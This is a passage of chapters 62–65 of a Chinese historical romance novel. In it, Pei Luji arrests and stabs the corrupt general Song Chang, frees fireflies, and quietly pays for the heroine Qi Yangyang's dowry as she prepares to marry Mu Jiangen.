沐江恩立马上前护她道:“宋将军,内子说得在,军营里有许多都是平头老百姓,每月都指望着那些俸禄养家糊口,生活也只是刚刚好而已,若他们实在拿不出来,也不必勉强,婚宴之事,全部由我掏钱置办就行。” “不可。”宋敞凛声道,“既然是我们把你从荆王手里请来的,必须给沐将军最好的待遇,成亲的大事,怎么能让将军自己掏钱?将军这么做,是瞧不起我宋某,还是瞧不起丞相大人?” “沐某不敢。” 身后不少拿不出钱的小兵听到这里,俱面生惧色,低着头止不住颤抖。 “那这样,”戚央央站了出去,“在我们家乡有个规矩,宴请之时不止收宾客礼金,主人家也得发放喜钱作为回礼,宋将军,你看,我夫君虽然不及将军英武,但怎么说也算是在封州有头有脸的人物,怎么也得给大家发放喜钱作回礼,不能让大家瞧了笑话去。” “这样吧,我们先给大家喜钱,然后大家再给我们礼金怎么样?” 小兵们又仰起头,紧张地看着宋敞。 “给回礼可以。”宋敞道,“但是,你也会说了,沐将军在封州也是有头有脸的人物,礼不可废,更不可颠倒,都说了是回礼,那怎么也得先给过礼金,再给回礼才是。” “戚姑娘难道想害你夫婿遭人耻笑,被人说他不懂礼节吗?” 宋敞眯眼,“还是说,你忘了自己的来路?” 戚央央想起自己逃犯的身份,而她身旁的人,就是救她这逃犯出去的人。 她眼看着那些无辜的平民小兵被打,自己却一点办法也没有。 这个世道,世家出身的士兵,可以无视军营的一切规矩,可以饮酒作乐,可以抢掳民女,而那些平民子弟,只能被欺凌,被压制。 一想到此,她就十分不平。 这时,那位她已经好几日没看见过的裴大司马,突然从自己的营中掀帐出来。 “如今我军营闯入细作,你们居然有心情谈论设宴?都给我从简,宴席不许设了。” 他负着手,傲岸凌人道。 第62章 他冷冷道“本官不屑跟蠢物交…… 一看见裴陆戟撩帐而出, 宋敞眉头深锁了一下。 上回因为这人,他堂堂宋大将军,秦丞相的亲舅, 竟然要当着众人的面被杖打三十军杖,偏他将此事禀给姐夫, 姐夫也只是斥责他办事不力, 说是事情办不好永远别想回京, 这笔仇他怎么也咽不下去。 “大司马, 你贵人事忙,自然不知道沐将军如今是我们营里的贵人, 丞相大人听闻沐将军训兵有素,特意从荆王那边请过来的, 沐将军带同未婚妻前来,为了不耽误二人成亲事宜, 丞相大人特意叮嘱卑职, 定要在军营里替他二人隆重大办一场婚事, 难道大司马连丞相大人的话, 都不想听了?” 宋敞挑衅道。 裴陆戟睨他一眼,突然命人将他抓起道:“宋将军与羌北九部之人有账目来往, 有通敌当细作的嫌疑,把他抓起来。” 他一来就如此下命, 直接把宋敞吓傻。 军营中人许多世家子弟都是仰仗着宋敞进来的,此时被下命,一时之间面面相觑, 不敢动作。 宋敞笑道:“大司马糊涂了是吗?自以为是京城那边过来,官阶高,就能草菅案子了是吗?” “你说我通敌就通敌, 说细作就细作,你禀过丞相大人没有?” “敢来抓我?那你抓啊,他们不敢抓,你是不是要亲自抓,那我让你抓,你敢抓吗?!”他突然一脸凶相道。 “卢奕考,抓人。”裴陆戟轻声下令道。 随即,卢奕考便全副戎装率领队伍从后方整齐步出,抓住宋敞。 宋敞一脸不可置信地瞪着卢奕考:“你敢??卢百夫长不要忘记,当日你是仰仗谁进的军营,谁提升你百夫长之位的?你如今听他的??” “宋将军,得罪了,不是卑职说你,你怎么到现在都还没看清楚局势呢?”卢奕考摇头叹息道:“你贵为丞相亲舅,丞相大人倘若重视你,怎么可能当年连一点转圜余地都没有,直接就将你派遣来此?” “左不过是你这纨绔子,丞相大人不对你抱有希望,才将你有多远遣多远罢了,亏你还以为这里山高皇帝远,是丞相大人特意安排你来此敛财是吗?” “我没敛财!!你别胡说八道!!”宋敞激愤。 “是,有没有敛财不总得查过才知道吗?”卢奕考道:“带下去!” 宋敞被带走,他的营帐乃及城内所购置的一切物业物产,也被贴封搜查。 最后果然搜出他名下一家布坊,有与羌北九部通商的账目,除此以外,还搜出了其他别的。 被关进军营的大牢中,裴陆戟屏退左右前来看他。 宋敞抓着牢笼瞪着他,目眦欲裂道:“你有胆子,就不怕丞相大人追究你??我好歹也是丞相亲舅,丞相大人怎么可能任由你对他的人动手?你可知丞相大人把你派来此地,是要通过我的考验,方可让你回京?可你却因一时之气,想要报仇,小子你还是太嫩了!” 裴陆戟像听了一个多好笑的笑话,抿唇忍俊不禁:“丞相把你送来此地当将领,恐怕是宋家对他的恩情太深所致吧?要不然,像你这样的蠢物,是怎么活到现在的。” “你!!” 裴陆戟收住笑,冷冷道:“本官向来不屑跟蠢物交待太多,无奈本官即将要把前妻嫁与旁人,摆脱纷扰,心情痛快,便多与你说两句。” “你知道这些是什么?”他“啪”的一声将一沓证物撂到他面前。 “里头详细记载着,兵器库的出库时间,兵器的名称,这些东西的出库时间,是你与羌北九部通商入境的时间,对得上的。” “你不要以为别人都是傻子,你是丞相亲舅,别人就当真为你肝脑涂地了?你不过是拿着鸡毛当令箭。” “我告诉你,光凭这些私卖兵器的证据,丞相他也保不了你,不但保不了,必要时还要倒打一耙,与你宋家彻底斩断关系。” “到时候,别说什么亲舅了,你就是丞相他儿子,他也总有办法让你不与他姓。” 他就这么血淋淋地剖开,听得宋敞终于有点怕了。 “还有一些训鹰的证据,是在你营中找到的,那日在悬崖,是你派去杀人的鹰隼,是吗?后来事情毕后,你唯恐被发现鹰是你放的,就把剩余的鹰都毒杀摔进悬崖,以为这样就没人发现了,是不是?” “那天的刺客也是你安排的,刘校尉是你的人,可你却狠心让他失去一条腿,是吗?” 宋敞笑了,却并不回应。 “你不承认没关系,我有你的这些证据,只要拿给荆王看,你猜他会不会拿这些证据去找圣上,到时候我看你怎么跟秦相说。”裴陆戟冷笑。 “你!你果然是荆王的人!”宋敞瞪着眼睛,一副想将他剖骨吃髓的表情。 “是又如何,不是又如何?”他淡哂,“你大可去跟秦相禀告,我不拦你,还会帮忙递信。” “不过我告诉你,我不是谁的人,我只忠于我自己。再说了” “我不怕你告发,但你敢告吗?” 他笑得惹人生恨,“你去揭了我底细,我不过是不能再跟着丞相罢了,我还有英国公府,太子也会听我的,只要我愿意,相信什么荆王啊、陈王啊甚至陛下,都会争着要我的。” “可是啊,你状告之后,你下场会怎样,需要我告诉你吗?”他抽出匕首在他脖子跳动处轻轻往下滑,滑至腹部处,紧抓着他的手,狠狠捅了进去! 鲜血喷涌而出。 宋敞不可置信地瞪大眼睛,跌倒下去。 裴陆戟平静地站在他面前,用手帕不紧不慢地拭手,居高临下道:“你若告发的话,你的下场可不止是这一把短匕了,秦相能走到今时今日的位置,手段可比我毒辣多了” 看着宋敞不挣扎放弃抵抗的样子,他轻声一笑,随后高声下命道:“来人,宋将军在狱中自戕,鉴于其身份,立马将人送进京中,让丞相大人来处置。” · 此时军营中,戚央央一脸愧疚地坐在校场边,看着临晚逐渐升起的篝火,同沐江恩谈心道:“沐大哥,我是不是不该在这时候决定成亲,害得军中好些人都要因我而被杖打” 沐江恩握着她的手安慰道:“不是没打成吗?世子已经制止了呀。” “再说了,那宋敞是秦相的人,我们这趟被送到他这里来,本就是进虎口来的,他想用我们的婚事做文章,就算我们没这打算,他也会安排的,这怎么能怪你?” 沐江恩料得没错,秦相本就有此安排,所以婚嫁之物一早就备好在宋敞营中,此时都被裴陆戟一并搜了出来。 宋敞是在戚央央的目送之下被人抬着离开的,那时天还有些光亮,裴陆戟紧接着就在后方跟着走出,他大步流星,步子跨得又大又快,以致他走过自己面前时,她都嗅到他身上的血腥味。 他来到她面前站定,话却对着沐江恩说:“刺客找到了,是宋敞派人干的,你们在悬崖上遭到鹰隼攻击,也是他所为。” “已经”他拧了拧眉,用余光注视戚央央,“替你们报仇了。” 说完他就离开,戚央央还在愣怔着。 “意思是秦丞相之所以把我放在他的军营,是方便盯着我,一旦我离开军营,就要派人杀死我,是吗?”她后怕道。 “是这样”沐江恩眉头皱起,点点头,“是我不好,我该早想到这些的,就不会让你跟刘校尉离开了。” 戚央央摇摇头,“不,这事怎么能怪你,秦丞相那种人,掌握全权,我们不了解全貌,又有谁能猜到他会对我们做什么呢?” “可是”他喃喃道,“若那日世子听到的话,他定会阻止,他这个人向来能把全局看得透彻,掌握朝政的局势也多,他定猜到丞相用意,那日你出事后,他” 他欲言又止。 “我出事后他怎么了?” 面对她的疑惑,沐江恩只能笑着打哈哈带过,“没有,他知道我跳下悬崖救你,立马就派人过来营救而已。” 戚央央点点头,“那这次我们欠他一个恩情,等以后有机会,他看上哪个姑娘的时候,我们帮他一把吧。” “我本想说,我们在军营成亲的时候,请他坐主席那一桌,把他当兄长来待的,可他好像不许我们设宴,看来我们成亲之事” 看她失落的眼神,沐江恩知道为什么。 虽说他此趟来静安县,是来传授训兵之法,但实际却是京城中的秦丞相对他和小央的圈禁。 有可能一直都无法回到封州了,他和小央年纪不小了,寻常人家到了这个年纪儿女都成群了,她大概是极其想要一个真正的家吧? “没事,那会世子只是来解围的,我们怎么能当真呢?再说了,他只是说不能设宴,一切从简,又没说不让我们成亲。” “我们,择日成亲吧?”他柔声道。 戚央央点点头,又摇摇头,“不,他先前不是阻止我们在一起来着会不会,他还是咽不下这口气,想阻止我们在一起来着?” “你别想太多啦,眉头都绽出朵花来了,”他笑着替她揉平额头上皱褶,道:“世子他不是那样的人,不信,我去找他过来同你说,成不成?” 第63章 他把碗端走,道“没胃口,这…… 沐江恩带着戚央央去找裴陆戟的时候, 他正在军营外的农田带领士兵下地耕作。 这里原本只是大片荒地,裴陆戟来了之后,才开始有了两三亩军田, 再后来,又有一些追随的士兵, 从两三亩田变成了十几亩, 到现在, 放眼望去, 一望无际的地方,漫山遍野的都是开荒的士兵。 他们将坡道变成波浪式断面的田地, 开凿引河浇灌,集中军营的粪土发酵作肥, 戚央央已经能够预见,不久后的这片荒野, 将会成为满山金黄的一片。 “你们这想法果真厉害啊, ”戚央央叹道, “军队集体开荒农田, 不但可以操练,还能自己解决军中粮草之事” “是啊, 这些都是世子的想法,还有许多对军中的改革, 我前所未闻”沐江恩双眸带光,敬仰道,“我把这些想法都带回去的话, 对封州军营的改革也是相当有利的。” “世子起初的时候,在军营里事事都被宋将军压一头,空有大司马的职位, 军营一切事务却都没有人听他的,所以只能什么都一个人来做,他也从不抱怨。” “可是到了后来,慢慢地竟然也有人信服他了,还是在军营一切都由宋将军做主的时候,就有人悄悄地跟着他做。” “而现在,所有人都听他的,不管是世家出身的士兵也好,平民出身的也好,都一样在做着这些事,他都一视同仁,该让他们干什么就安排干什么,从不偏袒,从不论身份。” “兴许,整个大晋,如今也就只有在这里,我才能看得到像现在,世家和平民都平等的景象。”沐江恩目光清澈有神道。 其实戚央央解他,他父亲是追随她爹的将领,也不是什么世家子弟,祖上许多代人都是田地里耕种的泥腿子。 这个世道对寒门的人很不友好,就算你很有实力,上头的人也只会信赖世家的人。 当年她爹就是因为不是世家,就被人夺去了功劳,她爹一气之下辞掉职务,进了荆王的营。 她娘总告诉她,如果不是被世家的夺了功劳,现在她爹大概就能光明正大站到朝堂上,替先前跟着他征战而战死的将领讨回公道。 “可是世子他自己也是世家人啊”戚央央想到从前,她在姨母屋外偷听裴陆戟同她姨母争吵,他话里话外,总是嫌弃她寒门军户的身份。 “所以这就是我最敬佩他的地方,”沐江恩笑道,“他一个世家子弟,当年能入羌北活死人墓,如今,又能放下身段,带领着其他世家子弟,一起干这些最苦最累、最被人嫌弃的工作,杜绝了世家子弟间的歪风。” “我听说先前军营里许多世家子弟经常不守军纪,跑出去饮酒作乐,欺压百姓,威风得不得了,可现在,自从世子整顿了军纪,把上回犯军纪那个世家子亲自斩杀之后,大家再也不敢犯了,都严格守纪着呢。” 听沐江恩这么说,戚央央脑海里想象到裴陆戟冷着脸一刀斩下去满脸血的模样,不寒而栗道: “什么时候营里斩了人?我怎么不知道?” “那会我们还没来呢,我也是听人说的,听说是营里一些小兵的头头,经常带大伙团队跑出去欺负百姓,看见好看的良家妇女就掳回营中进献给上司以博取上位。” 戚央央若有所思。 这时,裴陆戟看见他们了,沐江恩大大方方地笑着对他挥手道:“世子,你们过来休息一下,我让伙头兵把午膳挑过来了。” 裴陆戟朝他们这边看了眼,搁下锄头,给那边的弟兄们一个指示,大家便互相通知着,自觉过来这边用膳。 他从田埂上跳下来,能清楚见到他身上满是淤泥,同其他士兵一样跑到水井边汲水洗手,洗完手的水倒回泥地里,随意擦两擦身上的土,便同大伙一起去装饭的木桶那里排队领饭。 沐江恩提着一个竹篮牵着戚央央的手走过去,“世子,我们给你准备的。” 裴陆戟瞥了一眼竹篮子里的吃食,淡声说了一句:“不用,你们吃。” “我们吃过了。”沐江恩笑。 “那就分给大家一起吃吧。”他道。 “好。”沐江恩拉着戚央央,把竹篮子里的菜肴都夹着分给诸多将士。 人数太多,只能分给部分先到的人,看着竹篮子里只剩几块烧茄子了,戚央央便留着,走到裴陆戟身旁。 “世子,都分了,剩下这些,你吃吧。” 她把菜夹到他碗里,他本欲说不用,但她动作快,已经在他挪碗前迅速夹到他碗里了。 裴陆戟只好接受。 戚央央看着他碗里的吃食,除了她夹给他的好菜外,就只有半碗硬馍加一点咸菜,她没忍住出声道:“你忙活一个上午怎就吃这些啊?” 声音引得其他人都朝这边望了过来。 裴陆戟把碗端走,道:“没胃口,这点足够。” 沐江恩这时候走过来,拉着戚央央追上道:“卑职有些话想问世子。” “何事?” “上次世子说不许设宴之事。” 裴陆戟闻言转过头来看了戚央央一眼,长睫垂下,“只是权宜的说法,成亲,自然总得一套流程下来,不可委屈了新娘子才是。” “你选个好日子,本官派人帮你筹办,虽然军中铺张不得,但总不能太寒碜。” 他说完扭头就走。 身后的传来沐江恩对戚央央道:“听到没有,都说了世子不是” 央央笑着一点头,在身后对他大声道:“多谢世子!” · 婚期定在来年春季,因为裴陆戟告诉沐江恩,戚央央喜欢生机盎然的季节,婚期必须定在那时候。 在这段期间,他依旧带着将士们耕地种菜,养殖畜牧,修改军政事务,不断践行后再根据实际情况修正,也忙碌了好长一段日子。 宋敞送回到秦相那里不久后,他私自贩卖兵器库里兵器的证据,也被裴陆戟原原本本送到秦相手里。 宋敞回想起在狱中,裴陆戟对自己说的话,冷汗不知不觉已经浸湿了里衣。 秦丞相将一沓罪证“啪”一声摔在他面前,愠怒道:“你看看你自己干的好事!倒卖兵器,还是倒卖给敌军,这是通敌卖国的罪名啊!一旦被捅了出来,是要诛九族,本官也要被你牵连哪!” 宋敞回过神来,赶紧爬过来拽紧秦相的腿,“姐姐夫,我知道知道错了你救救我救救我” 秦相甩袖将他推开:“这次幸好是落在本官的人手中,要不然,这事捅了出去,我看你是自戕也洗不清这罪了!” 气过之后,秦相拉了拉袖子,问宋敞道:“这段时间,让你打压观察他,你感觉裴世子这人怎么样?值得信任吗?” 宋敞愣了愣神,脑海中再度浮现裴陆戟的话,良久,终于点了点头:“他这人是真心诚意要投靠的,要不然” 他咽了咽沫,眼睛瞪得很大,“要不然也不会在荆王的人找到这些证据时,帮忙夺回了” 秦相点点头,“好,既然他诚心实意想跟着本官,那日后我们就等于得到一个得力助手,本官也有许多事务可以放心交托给他了。” 宋敞颤抖着垂下头,“是。” 裴陆戟收到了宋敞偷偷给他传的信,他看完信后,立马将信烧毁。 “很快,京城那边应该就有任命书下来,你们抓紧准备。”他对残影道,“修竹呢?” 残影回道:“修竹已经在路上了,应该能赶在戚姑娘婚礼前赶到。” “好,下去吧。”他于灯下打开公文来看,一只兔子跳到他脚步啃鞋,他放下公文捞了起来。 残影还未走,他逗弄着兔子的同时,掀眸道:“还有事?” “回主子,宋敞此人毕竟是秦丞相亲舅,主子就不怕京城那边会有陷阱?” “不会。”他边用拇指抚挲兔子头,边道:“相对于通敌的罪,他更怕的是自己出卖丞相的事情曝光,而我手中留着的,恰恰是这些证据。” 残影心悦诚服,点了点头:“主子英明,那属下先行告退,对了,沐将军那边,主子可要帮上一把?” 裴陆戟抚挲兔子的手指顿住,思考了一阵,“让他自己来吧,他终究要成为她的丈夫,倘若事事都要我扶,怎么能行?” “这次,就放手让他自己来,他应该也不希望我插手帮忙。” · 婚礼要用的喜服已经做好了,戚央央经过那一次后,不敢再出军营,婚服是让小兵帮忙从城里带回来的。 试穿婚服那天,沐江恩给她准备的聘礼和嫁妆也一并准备好了。 荆王那边派来协助筹办婚事的人,送来了长长两卷礼单。 “在军营里不便放着,东西都备好了送去你姨母那里保管着了,你日后想要什么,只管遣他们去封州取来便是,这一卷是你的嫁妆单子,那一卷是我聘礼的单子。” 戚央央打开两卷单子一看,发现嫁妆部分的单子要远远比聘礼单子长很多很多。 她讶异道:“我姨母如今也只能靠一些手艺营生,哪来给我准备嫁妆的东西啊,是你给我准备的吗?” 沐江恩有些惭愧道:“其实这些嗯,一部分是荆王给你的,一些是” 戚央央看着嫁妆单子上所写之物,不由愣了一下。 “这这些” “这不是我原来被抄了的田庄、铺子还、还有当年英国公府给我作聘礼的那些田产和财物吗?” 第64章 他一边抓萤虫一边想起年少的…… 沐江恩点点头:“你那些物产、田产, 被抄了之后,就被朝廷拿去售卖充盈国库了,这些都是我拜托王爷帮我高价买回来的。” “那得花多少钱啊??”戚央央瞪大了眼睛, “咱俩日后还得起不?我不要这些了,能不能都还回去啊” “不行。”沐江恩道, “反正你放心啦, 我也是很能赚钱的好吧?日后一定会给王爷建很多功, 这点钱不算什么啦, 再说了,这些东西本来就属于你的, 日后给你父兄洗刷冤屈后自然就归还回来了,我只是提前买回来罢了。” 戚央央感动道:“沐大哥, 谢谢你,你让我感觉心里很踏实, 就像爹娘哥哥们还有姨母都在送我出嫁一样。” “这嫁妆单子比聘礼单子长这么多, 你把心思都放在我的嫁妆上, 我真的真的不知道说什么好。”她哽咽。 沐江恩面有惭色, 点点头。 其实他的聘礼也不算少了,已经是他这些年攒的全部家财, 对于一个普通小将军而言,这得立下多少功劳, 才攒得下这些财物。 只是,相比嫁妆单子而言还是少了许多。 · 明日就是央央和沐江恩的婚礼了。 这个夜晚,军营旷野的星空, 细碎而耀眼,散落在各处,像春日随处翩飞的花瓣。 因为大晋女子向来有出嫁前不可与夫婿见面的规定, 今夜他们暂时分隔在两个相隔颇远的营帐。 戚央央紧张得有些睡不着,走出帐子,搬来大石头坐在帐营门口看星。 突然,一颗耀眼的星子平地而起,从眼前浮掠而过。 她下意识朝那颗星子伸手,想捉住,不料竟真捉住了。 兴奋地将捉到手的东西,小心翼翼移到面前,深吸一口气缓缓打开。 只见一颗尾部发出幽光的萤虫,正安静地躺在手中,尾部荧光一闪一闪。 “这次,我好像真的能抓住呢我的,幸福。”她轻轻吐息,唯恐吓走了手里的这颗小东西。 想起今日要暂时分开,沐大哥临搬帐子前,拉着她细细叮嘱让她夜里睡觉一定不可贪凉盖薄被,门帐一定要拉好的情景。 她觉得,这世上除了爹娘兄长和姨母,就沐大哥,她的未来夫婿会对她这么好了。 幸好,她的心上人是他。 戚央央低眉看着手中的“星子”,轻轻地笑了。 而此时,营帐后不远的草垛旁,裴陆戟正捏着一个大口的布袋,在一颗一颗地将布袋里的萤虫放飞。 这些是他刚才处完手头的公务后,抽空到军营外的矮山附近抓的。 他一边在抓萤虫的时候,一边想起年少时,她为了帮他克服对黑暗的恐惧,拉着他大晚上躲开宵禁巡逻的官兵,悄悄来到山涧边抓萤虫。 她手把手地教他抓,告诉他,一定要找这种透气好的布袋,发现了萤虫靠近它时一定要缓慢,靠近后动作一定要快。 她手脚麻利地抓了三四只之后,回头发现他已经解下外袍,一下子囊盖了一堆,在她面前放飞。 她傻傻地瞪着他看的样子很是可爱,而他也忍不住呛了她一句,想看她两腮鼓起的可爱的模样。 可她却只是笑得很得意地道:“怎么样?在黑暗中专心盯着光去做一件事的时候,是不是可以忘记那种害怕的感觉了?” 他知道,其实她也是怕的,因为她刚刚握着他的手就汗津津的,他拉过她小手,将其中一只逃走的萤虫捉回来,放回到她手心。 “抓这玩意就能忘记害怕了?那你刚刚怎么拉着我的手不放?” “我我那是”她倔道:“我那是怕你害怕,才拉着你的嘛” 他意味深长地“哦”了一声,惹得她在幽荧的火光中小脸更加红得好看。 每次在这种时候,他都爱极了偷偷观察她的表情,像一只调皮羞涩又多变的兔子。 天空繁星闪烁,地上萤火翩飞,渐渐一整个军营里都弥漫了一闪一闪的萤虫。 不少巡逻的士兵都停下看起了萤虫,纳罕道:“军营人多,就是夏日萤虫也不多见,这是打哪窜过来的萤虫?” 裴陆戟手倒抓着一个空了的布袋,转身离开。 “好漂亮” 戚央央坐在自己的营帐前看萤虫,看着看着,便情不自禁站了起来,同火光共舞。 霎时间,萤火往四外散去,美如仙界天河。 多美好的夜晚如此美妙的夜色,让她对未来不可预知的恐惧和仿徨,都渐渐驱散掉了。 她的裙子绽开又合上,旋着旋着,脚边就撞到了毛茸茸的一团什么,她停了下来察看,随便便看见一只可爱的小兔子被她撞在地上舔毛。 “对不起,小兔儿,有没有把你弄疼?” 她连忙蹲下身子将地上的兔子抱起,搂进怀里检查。 此时,裴陆戟正在自己营帐出来,焦急地四下找他的兔子。 定是刚才他出来的时候没留意,被那顽劣的小家伙逃出来了,它应该是跟在他身后不远,说不定就在刚才放飞萤虫的草垛附近。 可当他来到央央营帐不远处,却发现她怀里正抱着他的兔子。 戚央央小心地检查小东西有没有受伤,然后就发现它腹部某个地方的毛拨开能看见一个陈旧的刀伤。 她轻轻抚挲着那处的刀伤,秀丽的眉头轻皱,突然就想起了去年她闯入这军营附近的林里,被士兵掳了去献给他们上峰时,手边的兔子就被其中一个世家子弟兵随手用刀匕扎穿在地上。 “你是你吗?那时候的小兔?”她很是惊喜。 那天,怀里的小家伙被人一把拽走扎穿腹部扔在地上时,她对那些世家子弟兵咬牙切齿,根本就不忍去看。 “真的是你太好了!太好了!原来你没死!” 她认出了是那只兔子后,欣喜若狂,抱着紧紧搂在怀中。 可小兔却挣扎着从她怀里跳下,往外跑去。 “等一下,小兔儿,你别在这边乱跑”她紧张地追过去。 那小兔是看见主子躲在草垛旁,就巴巴地追过来了。 可这时候的裴陆戟压根不希望被她看见,故意凶着脸想吓唬这不听话的小兔,谁知这兔崽子胆子大得很,竟半点也不害怕,还屁颠颠地往他怀里扑。 此时想走是走不掉了,戚央央追过来时看见裴陆戟单手拽开小兔子,以为他要欺负它,慌忙阻止道:“别伤它!它是我的!” 裴陆戟闻言,赶紧将手中的顽劣兔子一把塞回她怀道:“那你以后看着它一点,别让它在军营乱跑,不然” “恐怕会成为其他士兵的口中粮了。”他吓唬她道。 戚央央抱着兔子,点点头:“多谢世子提醒。” 二人站在那里,隔着一个草垛,气氛有些微妙的尴尬。 裴陆戟想了又想,拳头都攥紧了,最后才只能对她挤出一句:“那提前祝你们新婚大喜。” “世子明日就要启程回京述职了,是吗?”戚央央突然道。 “嗯。” “不留下来喝杯喜酒再走吗?” 裴陆戟见她的神态十分有趣,像是真心想邀他,又带着几分慌怕和不情愿,想请又不想请,十分地矛盾。 他懂她心,无非是觉得他就这么走了,生怕是自己的问题惹恼了他,但若他真的留下,她又害怕会有变节,十分没有安全感。 “那明日我出发前,你们给我送一壶酒,我再走,行不行?”他觑着她的表情道。 戚央央一下就高兴起来,连忙点点头,“好,那明日我去给你送!” 他看着她重新开心起来的样子,有些欣慰又有些酸涩,立马背转过身去,“好了,新娘子明日还要早起的,明早请了附近村里的大娘来帮你梳妆,你早些回去睡吧。” 戚央央点点头,抱上小兔子往自己营帐方向去。 谁知他一走,她手边的兔子却突然挣扎起来。 央央一下没抱住,被它跳了下来,回到裴陆戟身边。 她“啊呀”一声回身去抓,发现这调皮的兔子已经扑倒裴陆戟身下啃他衣摆了。 “不行,不能啃司马大人的衣服,你这是大不敬,要被抓去打军杖的喔,你怕不怕?” 戚央央抓回兔子,又对裴陆戟道了一声歉,重新回去。 可她刚一走没多远,那小兔再次挣扎,再次回到他身边,焦急万分地去啃扯他衣摆。 央央不知道这小兔是怎么了,焦急地回头抱回道:“对不起,世子,我也不知这小东西怎么了,它好像挺喜欢你的样子?” 裴陆戟亲自帮她抓回兔子,等她再次转身,兔子要挣扎的时候,他像风一样迅速地消失。 兔子跑回草垛附近迷了路,又找不到主人身影,急得在原地打转。 戚央央这会终于察觉到不对,也不去执着把它抱回了,只是蹲下来,看着小家伙着急的样子,心疼道:“你要找他,是吗?” 裴陆戟默默地回到自己营帐,将垒在门口那些小兔爱吃的野菜和它平日爱啃的笔架山撤回里头,然后严实地拉紧了帐子帘,绑好帐子,回黑漆漆的营内,心头空落落的,倒头重重地躺下。 手上还残余着刚刚抓过兔子的柔软温热的触感,同少时抚过的她的毛发很像。 第65章 他欠她太多了,需要这辈子慢…… 戚央央抱着小兔来到裴陆戟营帐前, 叫唤了几声没人应,她便伸手扒拉了几下帐口,发现被人从里头绑起来了。 没办法, 她只能低头安慰小兔道:“你想找的人好像已经睡下了,没关系, 我明日再带你找他吧?” 说完, 她安慰了小兔几句, 伸手温柔地抚挲了它脑袋几下, 而小兔儿仿佛听懂了她的话似的,那双红色的兔儿眼乖巧地轻眨两下。 帐内的人, 此时已经来到营帐口,靠坐在帐前紧紧地拉住帐子。 过了好久, 久到已经听不见她轻盈的脚步声,这十年, 她的脚步声被他记了千千万万遍。 装闺秀时温婉端庄的脚步声、压抑不住雀跃的少女急促脚步声、找不到他时慌急乱窜的脚步声、朝他飞奔而来时欣喜若狂的脚步声 每一种脚步声, 他都能分辨得非常清楚。 就像今夜, 她快将嫁得如意郎君, 脚步声中,就会有抑压不住欢喜的声音。 他竭力地想去记住她最后离他渐行渐远的这种带着幸福的步伐, 到最后,却发现自己根本无法承受, 她消失的声音。 心痛的碎裂声音在胸腔内响起。 做不到亲眼目睹她嫁人,那就只能在她出嫁前,送上最好的祝福, 然后离开,从此,山高水阔, 一如他当初和离书上所写下,而她根本没细看的内容一样: 愿娘子,相离之后,重梳蝉鬓美扫蛾眉,巧呈窈窕之姿,重获自由,以选佳偶,庭前弄影,如同琴瑟和谐。 解怨释结,不再相恨,一别两宽,各自欢喜。愿娘子永享安宁,岁月静好。 愿娘子,一切尽意,?百事从欢,浅予深深,长乐未央。 当时他当真有想过,他此行前路凶险,实在是不宜再拖家带口,他想过等戚央央被荆王那边收留后,就寻个由头让自己同裴家断绝关系。 只可惜,秦相那边怕是不会要一个被独身清出门户的人。 那么,他就只好暂时继续用“裴世子”这个身份,用这个他最不屑的身份。 明明已经关严实里的帐子,不知何时,等他一松懈下来,立马闯进了一颗迷途的小萤虫,它尾部的火光,照亮了一整个帐子。 他轻轻抽出埋进衣箱底部上了锁的木匣子。 幸好那会他衣箱被人翻乱、泼墨那下,这个匣子藏在最底的夹层里没人发现,他现在尚能得以时时拿出来细看一番。 这匣子里放了许多旧物,其中有一件,是一本陈旧的厚厚的册子。 他点燃了灯盏,将册子端放到案头,一页一页地翻下去,翻到最后的空白页,他才挑起案头笔架山上的毫笔,沾了沾墨,仔仔细细认认真真地记述起来: 玄正三十三年春,丙辰日,戚家有女二嫁沐家,风和日丽之日,静安县军营,星火之夜 · 翌日是丁已日,这日是今年一年中最好的日子,适合婚嫁,万事皆宜。 裴陆戟也选择这日启程回京。 其实秦相签好的任命书已经发到他手许久了,京城那边也催促了好久,他坚持留在军营,直到她出嫁那天,看着她顺利等到成婚那天,方才离开。 本来是想亲眼看着她成亲再走,可他到底没办法做完这最后一步,本来昨夜说好等她的一壶酒送来,今日一早就反了悔。 他生怕自己到时候见了她,会忍不住将她抢回京城。 曦光初霁那会,他骑着马步出军营的一幕幕红,往营外去。 修竹在身后紧随着。 “世子,你果真不再等等戚姑娘再走吗?” 修竹是之前被裴陆戟安排来军营这里协助安排婚宴事宜的,戚央央对这里的人都有些抵触,唯独对修竹有些好感,关系较亲近。 而修竹前来军营,除了是来协助安排婚宴外,还有一个隐藏的要务。 他是带着戚央央的那些嫁妆来的。 当初戚家和甄家被抄的那些家财,本是被收归国库,后来前线粮饷不足,户部便上旨把那些东西卖出换军粮,部分被卖了,还有部分在丞相手中,裴陆戟花钱假借别人的手将流出去的买回来。 至于丞相手里那部分,他和别人合份做了个局就诱得丞相将这些东西都换给他了。 之后他又将之前自己娶她时,英国公府给她的聘礼,再添一些别的一起加进去,作为她这次的嫁妆。 那份长长的嫁妆单子卷轴,是他请沐江恩找了荆王帮忙,以荆王和他的名义赠送。 当那些东西放在沐江恩手里时,他只看一眼就知道这些东西有多难得到,可裴陆戟只是轻轻说,那些东西都是他欠她的。 “不了,见了面又如何?”裴陆戟轻轻道了一句,趁着天未完全大亮,打马往前。 后方挂了红绸的军营在身后越来越远,他觉得心里越发地憋闷,走着走着,脑海中突然窜进几行字,那是她六年前与他的婚礼当天所写下的: 几位哥哥、爹爹娘亲,今日我就要嫁给裴哥哥啦,以后以后要尊称他为郎君了。我现在,好紧张啊!握笔的手都不自禁抖起来,趁着大家都在外面饮宴,屋里剩我一人,还是写点什么转移下注意吧 我今日,算是圆满了,唯独有遗憾的是以前我曾幻想过将来有朝一日自己出嫁,家中三位兄长,该由谁来背我上花轿呢?按规矩肯定要由大哥哥来,但二哥哥和三哥哥肯定会闹,我想过要么一位兄长背一次,我上三回花轿才出嫁,可谁知到最后,身前竟无一人,今日是媒婆背我上轿的 裴陆戟突然在前方勒马,弄得修竹等人也不得不及时刹住。 “世子?” 裴陆戟旋身对他命令道,“修竹,你今日先别跟我回京了。” “你留下来,当一回兄长。” · 戚央央早上醒来时,小兔已经异常乖巧地守在她榻边等她起来了。 一见她睁开眼,就立马跳上来用头拱她脸,拱得她忍不住笑了。 “啊,别早上好啊,小兔儿。”她向它招呼道。 “你先等我一下,现在时间还早,他应该没那么快出来,我先洗漱一下,带上一壶好酒,再带你去找他。” 今日阳光很好,卯时未到,外头就有光亮了,她简单梳妆了一下,换好衣裳,就抱着小兔提着酒,前去裴陆戟的营帐找他。 一路上,小兔子的兴致都很高,趴在她怀里,左看看又望望,似乎在认路,又似乎在看日出军营里纷纷翩飞的新亮红艳的喜幔。 